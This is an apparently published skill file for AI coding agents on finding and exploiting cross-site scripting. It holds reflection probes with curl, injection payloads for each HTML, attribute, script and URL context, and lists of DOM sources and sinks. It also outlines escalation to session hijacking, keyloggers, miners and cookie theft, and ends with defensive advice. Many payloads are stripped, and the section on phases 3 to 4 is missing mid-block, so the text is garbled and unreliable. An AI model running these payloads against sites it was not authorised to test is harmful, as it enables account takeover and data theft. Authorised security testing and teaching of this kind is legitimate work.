# Xss Reflected Stored Dom > Detect and exploit Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based variants. Use this skill when testing web applications for JavaScript injection, HTML injection, input sanitization bypass, or Content Security Policy evasion. Covers WAF bypass payloads, mutation XSS, blind XSS with out-of-band callbacks, and exploitation chains for session hijacking and account takeover. - Skill: `shulkwisec/xss-reflected-stored-dom` (Agent Skill, multi-file: 3 files) - Install (CLI): `npx skillmds add shulkwisec/xss-reflected-stored-dom` - Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/xss-reflected-stored-dom/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Web & Frontend - License: Apache-2.0 - Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec) - Updated: 2026-09-08 - Page: https://skillmd.com/skills/shulkwisec/xss-reflected-stored-dom --- # XSS Detection and Exploitation ## When to Use - When testing web applications for JavaScript injection in user inputs - During bug bounty hunting when you see reflected parameters in page source - When testing rich text editors, comment systems, or profile fields for stored XSS - When JavaScript dynamically processes URL fragments or `document.location` - When you need to chain XSS with other vulnerabilities for account takeover - When testing Content Security Policy (CSP) for bypass opportunities **When NOT to use**: If the application has no user-facing HTML output (pure API backend) — use API security skills instead. ## Prerequisites - Burp Suite with browser proxy configured - `dalfox` or `XSStrike` for automated XSS scanning - A blind XSS callback server (`bxss.me`, `xsshunter.com`, or self-hosted) - Browser DevTools for DOM analysis - Target must render user input somewhere in HTML/JS output ## Workflow ### Phase 1: Identify Injection Points ```bash # Map all user-controllable inputs that reflect in the response # Check: URL parameters, form fields, headers (Referer, User-Agent), cookies # Quick reflection test — inject a unique string and search for it CANARY="cybsk1337xss" # Test URL parameters curl -s "https://target.com/search?q=${CANARY}" | grep -i "$CANARY" # Test with special characters to check encoding curl -s "https://target.com/search?q=" | grep -i "script" # Automated reflection detection with gxss echo "https://target.com/search?q=test" | gxss -p cybsk1337 # Use kxss to find reflections with special chars unencoded echo "https://target.com" | hakrawler | kxss ``` ### Phase 2: Context Analysis — Where Does Input Land? The bypass technique depends entirely on WHERE your input is reflected: ``` Context 1: Between HTML tags
YOUR_INPUT_HERE
→ Payload: → Payload: Context 2: Inside an HTML attribute → Payload: " onmouseover="alert(1) → Payload: "> Context 3: Inside JavaScript var x = "YOUR_INPUT_HERE"; → Payload: ";alert(1)// → Payload: '-alert(1)-' Context 4: Inside a URL/href → Payload: javascript:alert(1) → Payload: data:text/html, Context 5: Inside CSS style="color: YOUR_INPUT_HERE" → Payload: red;background:url(javascript:alert(1)) Context 6: Inside a comment → Payload: -->\x3csVg/\x3e ``` ### Phase 5: DOM-based XSS ```javascript // DOM XSS sources — where user input enters the DOM // Check if any of these flow to dangerous sinks: // Sources: document.URL document.documentURI document.location (href, search, hash, pathname) document.referrer window.name window.postMessage() localStorage / sessionStorage // Sinks (dangerous functions): eval() document.write() document.writeln() element.innerHTML element.outerHTML element.insertAdjacentHTML() $.html() // jQuery setTimeout(userInput) setInterval(userInput) new Function(userInput) location.href = userInput location.assign(userInput) // Test DOM XSS via URL fragment (not sent to server): https://target.com/page# https://target.com/page#javascript:alert(1) // Look for patterns in JavaScript source: // Vulnerable pattern: document.getElementById('output').innerHTML = location.hash.slice(1); // Use browser DevTools to find DOM XSS: // 1. Open DevTools → Sources → Event Listener Breakpoints // 2. Check "Script > Script First Statement" // 3. Trace user input through JavaScript execution ``` ### Phase 6: Impact Escalation ```javascript // Beyond alert(1) — demonstrate real impact: // Session hijacking // Account takeover via password change // Keylogger // Crypto miner injection (for impact demonstration only) // Phishing overlay injection // Admin panel access via stored XSS ``` ## 🔵 Blue Team Detection - **CSP headers**: Implement strict Content Security Policy (`script-src 'self'`) - **Output encoding**: HTML-entity encode all user input on output - **Input validation**: Whitelist allowed characters where possible - **WAF rules**: Block common XSS patterns but don't on WAF - **Sigma rule**: Detect XSS payloads in web server access logs - **HTTPOnly cookies**: Prevent cookie theft via JavaScript ## Key Concepts | Concept | Description | |---------|-------------| | Reflected XSS | Payload in request is immediately reflected in response | | Stored XSS | Payload is saved server-side and served to other users | | DOM XSS | Payload processed entirely client-side via JavaScript | | Blind XSS | Stored XSS that triggers in a context you can't see (admin panel) | | Mutation XSS | Exploiting browser's HTML parser mutations to bypass sanitization | | CSP bypass | Circumventing Content Security Policy to execute scripts | | Polyglot | Single payload that works across multiple injection contexts | ## Tools & Systems | Tool | Purpose | Install | |------|---------|---------| | Dalfox | Fast XSS scanner with WAF evasion | `go install github.com/hahwul/dalfox/v2@latest` | | XSStrike | Advanced XSS detection with fuzzer | `pip3 install xsstrike` | | BXSS | Blind XSS callback server | `bxss.me` or self-hosted | | kxss | Find reflected parameters with special chars | `go install github.com/Emoe/kxss@latest` | | Burp Suite | Intercept, modify, and replay XSS payloads | portswigger.net | ## Output Format ``` XSS Vulnerability Report ======================== Title: Stored XSS in User Profile Bio Field Severity: HIGH (CVSS 8.1) Type: Stored XSS Endpoint: POST /api/v1/profile/update (bio parameter) Trigger: GET /user/{username}/profile (any visitor) Steps to Reproduce: 1. Login as attacker, navigate to profile settings 2. Set bio field to: 3. Save profile 4. When any user visits attacker's profile page, their cookies are exfiltrated Impact: - Session hijacking of any user who views the profile - Account takeover via cookie theft - Mass exploitation possible (visible on public profiles) - Can escalate to admin account takeover via blind XSS Remediation: - Implement output encoding (HTML entity encoding) for all user-generated content - Deploy Content Security Policy: script-src 'self' - Mark session cookies as HttpOnly and Secure - Use DOMPurify library for client-side HTML sanitization ``` ## 📚 Shared Resources > For cross-cutting methodology applicable to all vulnerability classes, see: > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class ## References - OWASP: [XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html) - PortSwigger: [XSS Labs](https://portswigger.net/web-security/cross-site-scripting) - MITRE ATT&CK: [T1059.007 — JavaScript](https://attack.mitre.org/techniques/T1059/007/) - PayloadsAllTheThings: [XSS Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)